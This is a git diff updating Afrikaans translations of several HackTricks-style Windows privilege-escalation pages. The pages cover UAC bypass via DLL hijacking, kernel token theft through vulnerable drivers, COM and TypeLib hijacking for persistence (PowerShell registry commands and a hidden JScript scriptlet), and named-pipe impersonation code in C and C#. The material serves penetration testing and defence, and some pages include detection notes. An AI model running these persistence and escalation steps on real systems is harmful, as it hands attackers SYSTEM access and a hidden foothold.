-As jy toegang tot 'n **GUI het** kan jy net die UAC prompt aanvaar wanneer jy dit kry; jy het nie regtig 'n bypass nodig nie. Dus, toegang tot 'n GUI sal jou toelaat om die UAC te omseil.
+As jy toegang tot 'n **GUI** het, kan jy net die UAC prompt aanvaar wanneer dit voorkom; jy het nie regtig 'n omseiling nodig nie. Dus, toegang tot 'n GUI sal jou in staat stel om die UAC te omseil.
 
-Boonop, as jy 'n GUI-sessie kry wat iemand gebruik het (miskien via RDP) is daar **some tools that will be running as administrator** vanwaar jy byvoorbeeld 'n **cmd** kan run **as admin** direk sonder om weer deur UAC gevra te word, soos [**https://github.com/oski02/UAC-GUI-Bypass-appverif**](https://github.com/oski02/UAC-GUI-Bypass-appverif). Dit kan 'n bietjie meer **stealthy** wees.
+Boonop, as jy 'n GUI-sessie kry wat iemand gebruik het (potensieel via RDP), is daar **sommige tools wat as administrator sal loop** van waar jy byvoorbeeld 'n **cmd** **as admin** direk kan **run** sonder om weer deur UAC gevra te word, soos [**https://github.com/oski02/UAC-GUI-Bypass-appverif**](https://github.com/oski02/UAC-GUI-Bypass-appverif). Dit kan 'n bietjie meer **stealthy** wees.
 
-### Luidrugtige brute-force UAC bypass
+### Lawaaiige brute-force UAC-omseiling
 
-As dit vir jou nie saak maak om luidrugtig te wees nie, kan jy altyd **run something like** [**https://github.com/Chainski/ForceAdmin**](https://github.com/Chainski/ForceAdmin) wat **ask to elevate permissions until the user does accepts it**.
+As jy nie omgee om lawaai te maak nie kan jy altyd **iets soos** [**https://github.com/Chainski/ForceAdmin**](https://github.com/Chainski/ForceAdmin) **run** wat bly vra om permissies te verhoog totdat die gebruiker dit aanvaar.
 
-### Jou eie bypass - Basiese UAC bypass methodology
+### Jou eie omseiling - Basiese UAC-omseiling metodologie
 
-If you take a look to **UACME** you will note that **most UAC bypasses abuse a Dll Hijacking vulnerabilit**y (mainly writing the malicious dll on _C:\Windows\System32_). [Read this to learn how to find a Dll Hijacking vulnerability](../windows-local-privilege-escalation/dll-hijacking/index.html).
+As jy na **UACME** kyk sal jy opmerk dat **meeste UAC-omseilings 'n Dll Hijacking kwesbaarheid misbruik** (hoofsaaklik deur die kwaadwillige dll op _C:\Windows\System32_ te skryf). [Read this to learn how to find a Dll Hijacking vulnerability](../windows-local-privilege-escalation/dll-hijacking/index.html).
 
-1. Vind 'n binary wat sal **autoelevate** (kontroleer dat wanneer dit uitgevoer word dit op 'n hoë integriteitsvlak loop).
+1. Vind 'n binary wat **autoelevate** (kontroleer dat wanneer dit uitgevoer word dit in 'n high integrity level loop).
-2. Met procmon vind "**NAME NOT FOUND**" events wat vatbaar kan wees vir **DLL Hijacking**.
+2. Met procmon vind "**NAME NOT FOUND**" gebeure wat kwesbaar kan wees vir **DLL Hijacking**.
-3. Jy sal waarskynlik die DLL binne sommige **protected paths** moet skryf (soos C:\Windows\System32) waar jy nie skryfpermissies het nie. Jy kan dit omseil met behulp van:
+3. Jy sal waarskynlik die DLL binne sommige **protected paths** (soos C:\Windows\System32) moet **write**, waar jy nie skryfperms het nie. Jy kan dit omseil deur:
-   1. **wusa.exe**: Windows 7,8 and 8.1. Dit allow om die inhoud van 'n CAB file in beskermde paaie uit te pak (want hierdie tool word uitgevoer op 'n hoë integriteitsvlak).
+   1. **wusa.exe**: Windows 7,8 en 8.1. Dit laat toe om die inhoud van 'n CAB-lêer in beskermde paaie uit te pak (omdat hierdie tool vanaf 'n high integrity level uitgevoer word).
    2. **IFileOperation**: Windows 10.
-4. Berei 'n **script** voor om jou DLL in die beskermde pad te kopieer en die kwesbare en autoelevated binary uit te voer.
+4. Berei 'n **script** voor om jou DLL binne die beskermde pad te kopieer en die kwesbare en autoelevated binary uit te voer.
 
-### Nog 'n UAC bypass technique
+### Nog 'n UAC-omseiling tegniek
 
-Bestaan daarin om te monitor of 'n **autoElevated binary** probeer om vanaf die **registry** die **name/path** van 'n **binary** of **command** wat uitgevoer moet word te **read** (dit is meer interessant as die binary hierdie inligting binne die **HKCU** soek).
+Bestaan daarin om te kyk of 'n **autoElevated binary** probeer om van die **registry** die **name/path** van 'n **binary** of **command** te **read** wat uitgevoer moet word (dit is meer interessant as die binary hierdie inligting binne die **HKCU** soek).
 
-## References
+## Verwysings
 - [HTB: Rainbow – SEH overflow to RCE over HTTP (0xdf) – fodhelper UAC bypass steps](https://0xdf.gitlab.io/2025/08/07/htb-rainbow.html)
 - [LOLBAS: Fodhelper.exe](https://lolbas-project.github.io/lolbas/Binaries/Fodhelper/)
 - [Microsoft Docs – How User Account Control works](https://learn.microsoft.com/windows/security/identity-protection/user-account-control/how-user-account-control-works)

src/windows-hardening/windows-local-privilege-escalation/arbitrary-kernel-rw-token-theft.md

@@ -4,35 +4,35 @@
 
 ## Oorsig
 
-As 'n kwesbare driver 'n IOCTL blootstel wat 'n aanvaller arbitêre kernel lees- en/of skryf-primitives gee, kan opgradering na NT AUTHORITY\SYSTEM dikwels bereik word deur 'n SYSTEM access token te steel. Die tegniek kopieer die Token-aanwyser vanaf 'n SYSTEM-proses se EPROCESS na die huidige proses se EPROCESS.
+As 'n kwesbare driver 'n IOCTL blootstel wat 'n aanvaller arbitêre kernel lees- en/of skryf-primitives gee, kan opgradering na NT AUTHORITY\SYSTEM dikwels bereik word deur 'n SYSTEM-toegangs-Token te steel. Die tegniek kopieer die Token-pen van 'n SYSTEM-proses se EPROCESS na die huidige proses se EPROCESS.
 
 Waarom dit werk:
-- Elke proses het 'n EPROCESS-struktuur wat (onder andere velde) 'n Token bevat (egter 'n EX_FAST_REF na 'n token-objek).
+- Elke proses het 'n EPROCESS-struktuur wat (onder ander velde) 'n Token bevat (egter 'n EX_FAST_REF na 'n token-objek).
 - Die SYSTEM-proses (PID 4) hou 'n token met alle voorregte geaktiveer.
-- Om die huidige proses se EPROCESS.Token met die SYSTEM token-aanwyser te vervang laat die huidige proses onmiddellik as SYSTEM loop.
+- Deur die huidige proses se EPROCESS.Token te vervang met die SYSTEM-token-pen, hardloop die huidige proses onmiddellik as SYSTEM.
 
-> Offsets in EPROCESS vary across Windows versions. Determine them dynamically (symbols) or use version-specific constants. Also remember that EPROCESS.Token is an EX_FAST_REF (low 3 bits are reference count flags).
+Let wel: offsets in EPROCESS verskil oor Windows-weergawes. Bepaal dit dinamies (simboles) of gebruik weergawespesifieke konstantes. Onthou ook dat EPROCESS.Token 'n EX_FAST_REF is (die laagste 3 bisse is verwysingtelling-vlae).
 
-## Hoëvlak stappe
+## Hoëvlakstappe
 
-1) Locate ntoskrnl.exe base and resolve the address of PsInitialSystemProcess.
+1) Vind die basis van ntoskrnl.exe en los die adres van PsInitialSystemProcess op.
-- From user mode, use NtQuerySystemInformation(SystemModuleInformation) or EnumDeviceDrivers to get loaded driver bases.
+- Vanaf gebruikermodus, gebruik NtQuerySystemInformation(SystemModuleInformation) of EnumDeviceDrivers om gelaaide driver-bases te kry.
-- Add the offset of PsInitialSystemProcess (from symbols/reversing) to the kernel base to get its address.
+- Voeg die offset van PsInitialSystemProcess (van simboles/reversing) by die kernel-basis om sy adres te kry.
-2) Read the pointer at PsInitialSystemProcess → this is a kernel pointer to SYSTEM’s EPROCESS.
+2) Lees die pen by PsInitialSystemProcess → dit is 'n kernel-pen na SYSTEM se EPROCESS.
-3) From SYSTEM EPROCESS, read UniqueProcessId and ActiveProcessLinks offsets to traverse the doubly linked list of EPROCESS structures (ActiveProcessLinks.Flink/Blink) until you find the EPROCESS whose UniqueProcessId equals GetCurrentProcessId(). Keep both:
+3) Vanaf die SYSTEM EPROCESS, lees die offsets van UniqueProcessId en ActiveProcessLinks om die dubbel-gekoppelde lys van EPROCESS-strukture te deurkruis (ActiveProcessLinks.Flink/Blink) totdat jy die EPROCESS vind waarvan UniqueProcessId gelyk is aan GetCurrentProcessId(). Hou albei:
-- EPROCESS_SYSTEM (for SYSTEM)
+- EPROCESS_SYSTEM (vir SYSTEM)
-- EPROCESS_SELF (for the current process)
+- EPROCESS_SELF (vir die huidige proses)
-4) Read SYSTEM token value: Token_SYS = *(EPROCESS_SYSTEM + TokenOffset).
+4) Lees SYSTEM token waarde: Token_SYS = *(EPROCESS_SYSTEM + TokenOffset).
-- Mask out the low 3 bits: Token_SYS_masked = Token_SYS & ~0xF (commonly ~0xF or ~0x7 depending on build; on x64 the low 3 bits are used — 0xFFFFFFFFFFFFFFF8 mask).
+- Masker die laagste 3 bisse uit: Token_SYS_masked = Token_SYS & ~0xF (gewoonlik ~0xF of ~0x7 afhangend van die build; op x64 word die laagste 3 bisse gebruik — 0xFFFFFFFFFFFFFFF8 masker).
-5) Option A (common): Preserve the low 3 bits from your current token and splice them onto SYSTEM’s pointer to keep the embedded ref count consistent.
+5) Opsie A (algemeen): Bewaar die laagste 3 bisse van jou huidige token en heg dit aan SYSTEM se pen om die ingebedde verwysingtelling konsekwent te hou.
 - Token_ME = *(EPROCESS_SELF + TokenOffset)
 - Token_NEW = (Token_SYS_masked | (Token_ME & 0x7))
-6) Write Token_NEW back into (EPROCESS_SELF + TokenOffset) using your kernel write primitive.
+6) Skryf Token_NEW terug in (EPROCESS_SELF + TokenOffset) met jou kernel-skryfprimitive.
-7) Your current process is now SYSTEM. Optionally spawn a new cmd.exe or powershell.exe to confirm.
+7) Jou huidige proses is nou SYSTEM. Opsioneel spawn 'n nuwe cmd.exe of powershell.exe om te bevestig.
 
 ## Pseudokode
 
-Below is a skeleton that only uses two IOCTLs from a vulnerable driver, one for 8-byte kernel read and one for 8-byte kernel write. Replace with your driver’s interface.
+Hieronder is 'n ruggraat wat slegs twee IOCTLs van 'n kwesbare driver gebruik, een vir 8-byte kernel lees en een vir 8-byte kernel skryf. Vervang dit met jou driver se koppelvlak.
 ```c
 #include <Windows.h>
 #include <Psapi.h>
@@ -106,14 +106,14 @@ return 0;
 }
 ```
 Aantekeninge:
-- Offsets: Gebruik WinDbg’s `dt nt!_EPROCESS` met die teiken se PDBs, of 'n runtime symbol loader, om korrekte offsets te kry. Moet dit nie blindelings hardcode nie.
+- Offsets: Gebruik WinDbg se `dt nt!_EPROCESS` met die teiken se PDBs, of 'n runtime-simboollader, om die korrekte ofsette te kry. Moet nie blindelings hardcodeer nie.
-- Mask: Op x64 is die token 'n EX_FAST_REF; die lae 3 bits is verwysingtelbits. Deur die oorspronklike lae bits van jou token te behou, vermy jy onmiddellike refcount-ongesteldhede.
+- Masker: Op x64 is die token 'n EX_FAST_REF; die lae 3 bits is verwysingstellings-bits. Die oorspronklike lae bits van jou token behou voorkom onmiddellike refcount-onkonsekwenthede.
-- Stabiliteit: Dit is verkieslik om die huidige proses te verhoog; as jy 'n kortlewendige helper verhoog, kan jy SYSTEM verloor wanneer dit afsluit.
+- Stabiliteit: Liewer verhoog die huidige proses; as jy 'n kortlewende helper verhoog, kan jy SYSTEM verloor wanneer dit afsluit.
 
-## Opsporing & mitigasie
+## Opsporing en versagting
-- Die laai van nie-ondertekende of onbetroubare derdeparty-drivers wat kragtige IOCTLs blootstel, is die hoofoorsaak.
+- Die laai van ongetekende of onbetroubare derdeparty-drivers wat kragtige IOCTLs blootstel, is die kernoorsaak.
 - Kernel Driver Blocklist (HVCI/CI), DeviceGuard, en Attack Surface Reduction-reëls kan verhoed dat kwesbare drivers gelaai word.
-- EDR kan kyk vir verdagte IOCTL-volgordes wat arbitrary read/write implementeer en vir token swaps.
+- EDR kan let op verdagte IOCTL-reekse wat arbitêre read/write implementeer en op token-wisselings.
 
 ## Verwysings
 - [HTB Reaper: Format-string leak + stack BOF → VirtualAlloc ROP (RCE) and kernel token theft](https://0xdf.gitlab.io/2025/08/26/htb-reaper.html)

src/windows-hardening/windows-local-privilege-escalation/com-hijacking.md

@@ -4,21 +4,21 @@
 
 ### Soek na nie-bestaande COM-komponente
 
-Aangesien die waardes van HKCU deur gebruikers gewysig kan word, kan **COM Hijacking** as 'n **persistente meganismes** gebruik word. Met `procmon` is dit maklik om gesoekte COM-registrasies te vind wat nie bestaan nie en wat 'n aanvaller kan skep om 'n blywende toegangspunt te skep. Filters:
+Aangesien die waardes van HKCU deur gebruikers verander kan word, kan **COM Hijacking** gebruik word as **persistente meganismes**. Deur `procmon` te gebruik is dit maklik om gesoekte COM-registrasies te vind wat nie bestaan nie en wat 'n aanvaller kan skep om blywende toegang te kry. Filters:
 
 - **RegOpenKey** operasies.
-- waar die _Result_ **NAME NOT FOUND** is.
+- waar die _Result_ is **NAME NOT FOUND**.
-- en die _Path_ eindig met **InprocServer32**.
+- en die _Path_ eindig op **InprocServer32**.
 
-Sodra jy besluit het watter nie-bestaande COM jy wil naboots, voer die volgende opdragte uit. _Wees versigtig as jy besluit om 'n COM te naboots wat elke paar sekondes gelaai word, want dit kan te veel wees._
+Sodra jy besluit het watter nie-bestaande COM jy wil naboots, voer die volgende opdragte uit. _Wees versigtig as jy besluit om 'n COM te naboots wat elke paar sekondes gelaai word, aangesien dit oorbodig kan wees._
 ```bash
 New-Item -Path "HKCU:Software\Classes\CLSID" -Name "{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}"
 New-Item -Path "HKCU:Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}" -Name "InprocServer32" -Value "C:\beacon.dll"
 New-ItemProperty -Path "HKCU:Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}\InprocServer32" -Name "ThreadingModel" -Value "Both"
 ```
-### Hijackable Task Scheduler COM components
+### Gekaapbare Task Scheduler COM-komponente
 
-Windows Tasks gebruik Custom Triggers om COM objects aan te roep en omdat hulle deur die Task Scheduler uitgevoer word, is dit makliker om te voorspel wanneer hulle geaktiveer gaan word.
+Windows Tasks gebruik Custom Triggers om COM objects aan te roep, en omdat hulle deur die Task Scheduler uitgevoer word, is dit makliker om te voorspel wanneer hulle geaktiveer gaan word.
 
 <pre class="language-powershell"><code class="lang-powershell"># Show COM CLSIDs
 $Tasks = Get-ScheduledTask
@@ -49,9 +49,9 @@ Write-Host
 # CLSID:  {1936ED8A-BD93-3213-E325-F38D112938E1}
 # [more like the previous one...]</code></pre>
 
-Deur die uitset na te gaan kan jy byvoorbeeld een kies wat **elke keer wanneer 'n gebruiker aanmeld** uitgevoer gaan word.
+Deur die uitset na te gaan kan jy byvoorbeeld een kies wat uitgevoer gaan word **elke keer as 'n gebruiker aanmeld**.
 
-As jy nou vir die CLSID **{1936ED8A-BD93-3213-E325-F38D112938EF}** soek in **HKEY\CLASSES\ROOT\CLSID** en in HKLM en HKCU, sal jy gewoonlik vind dat die waarde nie in HKCU bestaan nie.
+As jy nou vir die CLSID **{1936ED8A-BD93-3213-E325-F38D112938EF}** in **HKEY\CLASSES\ROOT\CLSID** en in HKLM en HKCU soek, sal jy gewoonlik vind dat die waarde nie in HKCU bestaan nie.
 ```bash
 # Exists in HKCR\CLSID\
 Get-ChildItem -Path "Registry::HKCR\CLSID\{1936ED8A-BD93-3213-E325-F38D112938EF}"
@@ -72,32 +72,32 @@ Name                                   Property
 PS C:\> Get-Item -Path "HKCU:Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}"
 Get-Item : Cannot find path 'HKCU:\Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}' because it does not exist.
 ```
-Dan kan jy net die HKCU-inskrywing skep en elke keer as die gebruiker aanmeld, sal jou backdoor geaktiveer word.
+Dan kan jy net die HKCU-inskrywing skep en elke keer wanneer die gebruiker aanmeld, sal jou backdoor geaktiveer word.
 
 ---
 
 ## COM TypeLib Hijacking (script: moniker persistence)
 
-Type Libraries (TypeLib) definieer COM-koppelvlakke en word gelaai via `LoadTypeLib()`. Wanneer 'n COM-server geïnstantieer word, kan die OS ook die geassosieerde TypeLib laai deur registersleutels onder `HKCR\TypeLib\{LIBID}` te raadpleeg. As die TypeLib-pad vervang word met 'n **moniker**, bv. `script:C:\...\evil.sct`, sal Windows die scriptlet uitvoer wanneer die TypeLib opgelos word — wat 'n stilswyende persistentie tot gevolg het wat aktiveer wanneer gewone komponente geraak word.
+Type Libraries (TypeLib) definieer COM-koppelvlakke en word gelaai via `LoadTypeLib()`. Wanneer 'n COM-server geïnstantieer word, kan die OS ook die geassosieerde TypeLib laai deur register-sleutels onder `HKCR\TypeLib\{LIBID}` te raadpleeg. As die TypeLib-pad vervang word met 'n **moniker**, bv. `script:C:\...\evil.sct`, sal Windows die scriptlet uitvoer wanneer die TypeLib opgelos word – wat 'n stealthy persistence lewer wat aktiveer wanneer algemene komponente aangeraak word.
 
-Hierdie is waargeneem teen die Microsoft Web Browser-beheer (gereeld gelaai deur Internet Explorer, toepassings wat WebBrowser inkorporeer, en selfs `explorer.exe`).
+Dit is waargeneem teen die Microsoft Web Browser control (gereeld gelaai deur Internet Explorer, toepassings wat WebBrowser inbed, en selfs `explorer.exe`).
 
-### Stappe (PowerShell)
+### Steps (PowerShell)
 
-1) Bepaal die TypeLib (LIBID) wat deur 'n veelgebruikte CLSID gebruik word. Voorbeeld CLSID wat dikwels deur malware-kettings misbruik word: `{EAB22AC0-30C1-11CF-A7EB-0000C05BAE0B}` (Microsoft Web Browser).
+1) Identifiseer die TypeLib (LIBID) wat deur 'n veelgebruikte CLSID gebruik word. Voorbeeld CLSID wat dikwels deur malware chains misbruik word: `{EAB22AC0-30C1-11CF-A7EB-0000C05BAE0B}` (Microsoft Web Browser).
 ```powershell
 $clsid = '{EAB22AC0-30C1-11CF-A7EB-0000C05BAE0B}'
 $libid = (Get-ItemProperty -Path "Registry::HKCR\\CLSID\\$clsid\\TypeLib").'(default)'
 $ver   = (Get-ChildItem "Registry::HKCR\\TypeLib\\$libid" | Select-Object -First 1).PSChildName
 "CLSID=$clsid  LIBID=$libid  VER=$ver"
 ```
-2) Wys die per-gebruiker TypeLib-pad na 'n plaaslike scriptlet deur die `script:` moniker te gebruik (geen administrateurregte benodig):
+2) Wys die per-gebruiker TypeLib-pad na 'n plaaslike scriptlet met die `script:` moniker (geen administrateurregte benodig):
 ```powershell
 $dest = 'C:\\ProgramData\\Udate_Srv.sct'
 New-Item -Path "HKCU:Software\\Classes\\TypeLib\\$libid\\$ver\\0\\win32" -Force | Out-Null
 Set-ItemProperty -Path "HKCU:Software\\Classes\\TypeLib\\$libid\\$ver\\0\\win32" -Name '(default)' -Value "script:$dest"
 ```
-3) Drop 'n minimale JScript `.sct` wat jou primêre payload herbegin (bv. 'n `.lnk` wat deur die aanvanklike ketting gebruik word):
+3) Plaas 'n minimale JScript `.sct` neer wat jou primêre payload herbegin (bv. 'n `.lnk` wat deur die aanvanklike ketting gebruik word):
 ```xml
 <?xml version="1.0"?>
 <scriptlet>
@@ -114,18 +114,18 @@ sh.Run(cmd, 0, false);
 </script>
 </scriptlet>
 ```
-4) Aktivering – om IE te open, 'n toepassing wat die WebBrowser control inkorporeer, of selfs normale Explorer-aktiwiteit sal die TypeLib laai en die scriptlet uitvoer, en jou ketting by aanmelding/herbegin heraktiveer.
+4) Aktivering – die opening van IE, 'n toepassing wat die WebBrowser control inkorporeer, of selfs gewone Explorer-aktiwiteit sal die TypeLib laai en die scriptlet uitvoer, en jou ketting by aanmelding/herbegin herbewapen.
 
-Opruiming
+Opschoning
 ```powershell
 # Remove the per-user TypeLib hijack
 Remove-Item -Recurse -Force "HKCU:Software\\Classes\\TypeLib\\$libid\\$ver" 2>$null
 # Delete the dropped scriptlet
 Remove-Item -Force 'C:\\ProgramData\\Udate_Srv.sct' 2>$null
 ```
-Notas
+Notes
-- Jy kan dieselfde logika op ander hoëfrekwensie COM-komponente toepas; los altyd eers die werklike `LIBID` op vanaf `HKCR\CLSID\{CLSID}\TypeLib`.
+- Jy kan dieselfde logika toepas op ander veelgebruikte COM-komponente; los altyd eers die werklike `LIBID` vanaf `HKCR\CLSID\{CLSID}\TypeLib` op.
-- Op 64-bit stelsels kan jy ook die `win64` subsleutel vir 64-bit verbruikers invul.
+- Op 64-bit stelsels kan jy ook die `win64` subsleutel invul vir 64-bit verbruikers.
 
 ## Verwysings
 

src/windows-hardening/windows-local-privilege-escalation/named-pipe-client-impersonation.md

@@ -2,27 +2,27 @@
 
 {{#include ../../banners/hacktricks-training.md}}
 
-Named Pipe client impersonation is 'n lokale privilege-eskalasie-primitive wat 'n named-pipe server-thread toelaat om die sekuriteitskonteks van 'n kliënt wat daaraan koppel, aan te neem. In die praktyk kan 'n aanvaller wat kode met SeImpersonatePrivilege kan uitvoer 'n bevoorregte kliënt (bv. 'n SYSTEM-diens) dwing om met 'n aanvaller-beheerde pipe te koppel, ImpersonateNamedPipeClient aanroep, die resulterende token na 'n primary token dupliseer, en 'n proses as die kliënt spawn (dikwels NT AUTHORITY\SYSTEM).
+Named Pipe client impersonation is 'n local privilege escalation primitive wat 'n named-pipe server-draad toelaat om die sekuriteitskonteks van 'n kliënt wat daaraan koppel aan te neem. In praktyk kan 'n aanvaller wat kode kan uitvoer met SeImpersonatePrivilege 'n bevoorregte kliënt (bv. 'n SYSTEM-diens) dwing om aan 'n aanvaller-beheerde pipe te koppel, ImpersonateNamedPipeClient aan te roep, die resulterende token te dupliseer in 'n primêre token, en 'n proses as die kliënt te spawn (dikwels NT AUTHORITY\SYSTEM).
 
-Hierdie bladsy fokus op die kerntegniek. Vir end-to-end exploit chains wat SYSTEM na jou pipe dwing, sien die Potato family bladsye hieronder.
+Hierdie bladsy fokus op die kerntegniek. Vir end-to-end exploit chains wat SYSTEM na jou pipe dwing, sien die Potato family pages hieronder verwys.
 
 ## TL;DR
 - Skep 'n named pipe: \\.\pipe\<random> en wag vir 'n verbinding.
 - Laat 'n bevoorregte komponent daaraan koppel (spooler/DCOM/EFSRPC/etc.).
-- Lees ten minste een boodskap van die pipe, en roep dan ImpersonateNamedPipeClient aan.
+- Lees ten minste een boodskap vanaf die pipe, roep dan ImpersonateNamedPipeClient aan.
-- Maak die impersonation-token van die huidige thread oop, DuplicateTokenEx(TokenPrimary), en gebruik CreateProcessWithTokenW/CreateProcessAsUser om 'n SYSTEM-proses te kry.
+- Open die impersonation token van die huidige draad, DuplicateTokenEx(TokenPrimary), en gebruik CreateProcessWithTokenW/CreateProcessAsUser om 'n SYSTEM-proses te kry.
 
-## Vereistes en sleutel-APIs
+## Requirements and key APIs
-- Privilegies wat tipies deur die oproepende proses/thread benodig word:
+- Privileges tipies benodig deur die oproepende proses/draad:
-- SeImpersonatePrivilege om suksesvol die sekuriteitskonteks van 'n verbindende kliënt aan te neem en om CreateProcessWithTokenW te gebruik.
+- SeImpersonatePrivilege om suksesvol 'n koppelende kliënt te impersonate en om CreateProcessWithTokenW te gebruik.
-- Alternatiewelik, nadat jy SYSTEM geïmpersonifieer het, kan jy CreateProcessAsUser gebruik, wat moontlik SeAssignPrimaryTokenPrivilege en SeIncreaseQuotaPrivilege vereis (hierdie word bevredig wanneer jy SYSTEM impersonate).
+- Alternatiewelik, nadat jy SYSTEM geïmpersonate het, kan jy CreateProcessAsUser gebruik, wat SeAssignPrimaryTokenPrivilege en SeIncreaseQuotaPrivilege mag vereis (hierdie word bevredig wanneer jy SYSTEM impersonate).
-- Kern-APIs wat gebruik word:
+- Kern-API's wat gebruik word:
 - CreateNamedPipe / ConnectNamedPipe
-- ReadFile/WriteFile (moet ten minste een boodskap lees voordat impersonasie plaasvind)
+- ReadFile/WriteFile (moet ten minste een boodskap lees voor impersonation)
 - ImpersonateNamedPipeClient en RevertToSelf
 - OpenThreadToken, DuplicateTokenEx(TokenPrimary)
 - CreateProcessWithTokenW of CreateProcessAsUser
-- Impersonation level: om nuttige aksies lokaal uit te voer, moet die kliënt SecurityImpersonation toelaat (standaard vir baie plaaslike RPC/named-pipe kliënte). Kliënte kan dit verlaag met SECURITY_SQOS_PRESENT | SECURITY_IDENTIFICATION wanneer hulle die pipe oopmaak.
+- Impersonation-vlak: om nuttige aksies plaaslik uit te voer, moet die kliënt SecurityImpersonation toelaat (standaard vir baie plaaslike RPC/named-pipe-kliënte). Kliënte kan dit verlaag met SECURITY_SQOS_PRESENT | SECURITY_IDENTIFICATION wanneer hulle die pipe oopmaak.
 
 ## Minimal Win32 workflow (C)
 ```c
@@ -69,11 +69,11 @@ return 0;
 }
 ```
 Aantekeninge:
-- Indien ImpersonateNamedPipeClient ERROR_CANNOT_IMPERSONATE (1368) teruggee, maak seker dat jy eers vanaf die pipe lees en dat die kliënt impersonation nie tot Identification level beperk het nie.
+- As ImpersonateNamedPipeClient ERROR_CANNOT_IMPERSONATE (1368) teruggee, maak seker jy lees eers vanaf die pipe en dat die kliënt impersonasie nie tot die Identification level beperk het nie.
-- Gee voorkeur aan DuplicateTokenEx met SecurityImpersonation en TokenPrimary om 'n primêre token te skep wat geskik is vir prosescreëring.
+- Gee voorkeur aan DuplicateTokenEx met SecurityImpersonation en TokenPrimary om 'n primary token te skep wat geskik is vir die skep van 'n proses.
 
-## .NET vinnige voorbeeld
+## .NET kort voorbeeld
-In .NET kan NamedPipeServerStream impersonate via RunAsClient. Sodra jy impersonate, dupliseer die thread token en skep 'n proses.
+In .NET kan NamedPipeServerStream via RunAsClient impersonate. Sodra jy impersonate, dupliseer die thread-token en skep 'n proses.
 ```csharp
 using System; using System.IO.Pipes; using System.Runtime.InteropServices; using System.Diagnostics;
 class P {
@@ -94,7 +94,7 @@ Process pi; CreateProcessWithTokenW(p, 2, null, null, 0, IntPtr.Zero, null, ref
 }
 ```
 ## Algemene triggers/afdwingings om SYSTEM na jou pipe te kry
-Hierdie tegnieke dwing bevoorregte dienste om aan jou named pipe te koppel sodat jy hulle kan impersonate:
+Hierdie tegnieke dwing gesaghebbende dienste om met jou named pipe te skakel sodat jy hulle kan impersonate:
 - Print Spooler RPC trigger (PrintSpoofer)
 - DCOM activation/NTLM reflection variants (RoguePotato/JuicyPotato[NG], GodPotato)
 - EFSRPC pipes (EfsPotato/SharpEfsPotato)
@@ -118,19 +118,19 @@ from-high-integrity-to-system-with-name-pipes.md
 {{#endref}}
 
 ## Probleemoplossing en valkuils
-- Jy moet ten minste een boodskap vanaf die pipe lees voordat jy ImpersonateNamedPipeClient aanroep; anders kry jy ERROR_CANNOT_IMPERSONATE (1368).
+- Jy moet ten minste een boodskap vanaf die pipe lees voordat jy ImpersonateNamedPipeClient aanroep; anders sal jy ERROR_CANNOT_IMPERSONATE (1368) kry.
-- As die kliënt koppel met SECURITY_SQOS_PRESENT | SECURITY_IDENTIFICATION, kan die server nie volledig impersonate nie; kontroleer die token se impersonation level via GetTokenInformation(TokenImpersonationLevel).
+- As die kliënt skakel met SECURITY_SQOS_PRESENT | SECURITY_IDENTIFICATION, kan die bediener nie volledig impersonate nie; kontroleer die token se impersonation level via GetTokenInformation(TokenImpersonationLevel).
-- CreateProcessWithTokenW vereis SeImpersonatePrivilege op die caller. As dit misluk met ERROR_PRIVILEGE_NOT_HELD (1314), gebruik CreateProcessAsUser nadat jy reeds SYSTEM impersonated het.
+- CreateProcessWithTokenW vereis SeImpersonatePrivilege op die aanroeper. As dit misluk met ERROR_PRIVILEGE_NOT_HELD (1314), gebruik CreateProcessAsUser nadat jy reeds SYSTEM geïmpersoniseer het.
-- Maak seker dat jou pipe se security descriptor die teiken-diens toelaat om te koppel as jy dit verhard; standaard is pipes onder \\.\pipe toeganklik volgens die server se DACL.
+- Maak seker dat jou pipe se security descriptor die teiken-diens toelaat om te koppel as jy dit verhard; standaard is pipes onder \\.\pipe toeganklik volgens die bediener se DACL.
 
 ## Opsporing en verharding
-- Moniteer named pipe creation en connections. Sysmon Event IDs 17 (Pipe Created) and 18 (Pipe Connected) is nuttig om wettige pipe-name te basislyn en om vreemde, ewekansige-voorkomende pipes wat token-manipulation events voorafgaan te vang.
+- Monitor named pipe skepping en verbindings. Sysmon Event IDs 17 (Pipe Created) en 18 (Pipe Connected) is nuttig om legitieme pipe-name te basislyn en ongebruiklike, ewekansig-lykende pipes wat token-manipulasie-gebeure voorafgaan, op te spoor.
-- Kyk na volgordes: proses skep 'n pipe, 'n SYSTEM service koppel, en dan spawn die skepende proses 'n child as SYSTEM.
+- Kyk vir reekse: proses skep 'n pipe, 'n SYSTEM-diens koppel, en dan spawn die skepende proses 'n kindproses as SYSTEM.
-- Verminder blootstelling deur SeImpersonatePrivilege van nie-noodsaaklike service-accounts te verwyder en onnodige service-logons met hoë voorregte te vermy.
+- Verminder blootstelling deur SeImpersonatePrivilege van nie-essensiële diensrekeninge te verwyder en onnodige diens-aanmeldings met hoë voorregte te vermy.
-- Verdedigende ontwikkeling: wanneer jy met onbetroubare named pipes koppel, spesifiseer SECURITY_SQOS_PRESENT met SECURITY_IDENTIFICATION om te verhoed dat servers die kliënt volledig impersonate tensy dit nodig is.
+- Verdedigende ontwikkeling: wanneer jy aan onbetroubare named pipes koppel, spesifiseer SECURITY_SQOS_PRESENT met SECURITY_IDENTIFICATION om te verhoed dat bedieners die kliënt volledig impersonate tensy nodig.
 
 ## Verwysings
-- Windows: ImpersonateNamedPipeClient dokumentasie (impersonation requirements and behavior). https://learn.microsoft.com/en-us/windows/win32/api/namedpipeapi/nf-namedpipeapi-impersonatenamedpipeclient
+- Windows: ImpersonateNamedPipeClient documentation (impersonation requirements and behavior). https://learn.microsoft.com/en-us/windows/win32/api/namedpipeapi/nf-namedpipeapi-impersonatenamedpipeclient
 - ired.team: Windows named pipes privilege escalation (walkthrough and code examples). https://ired.team/offensive-security/privilege-escalation/windows-namedpipes-privilege-escalation
 
 {{#include ../../banners/hacktricks-training.md}}

src/windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md

@@ -3,10 +3,10 @@
 {{#include ../../banners/hacktricks-training.md}}
 
 > [!WARNING]
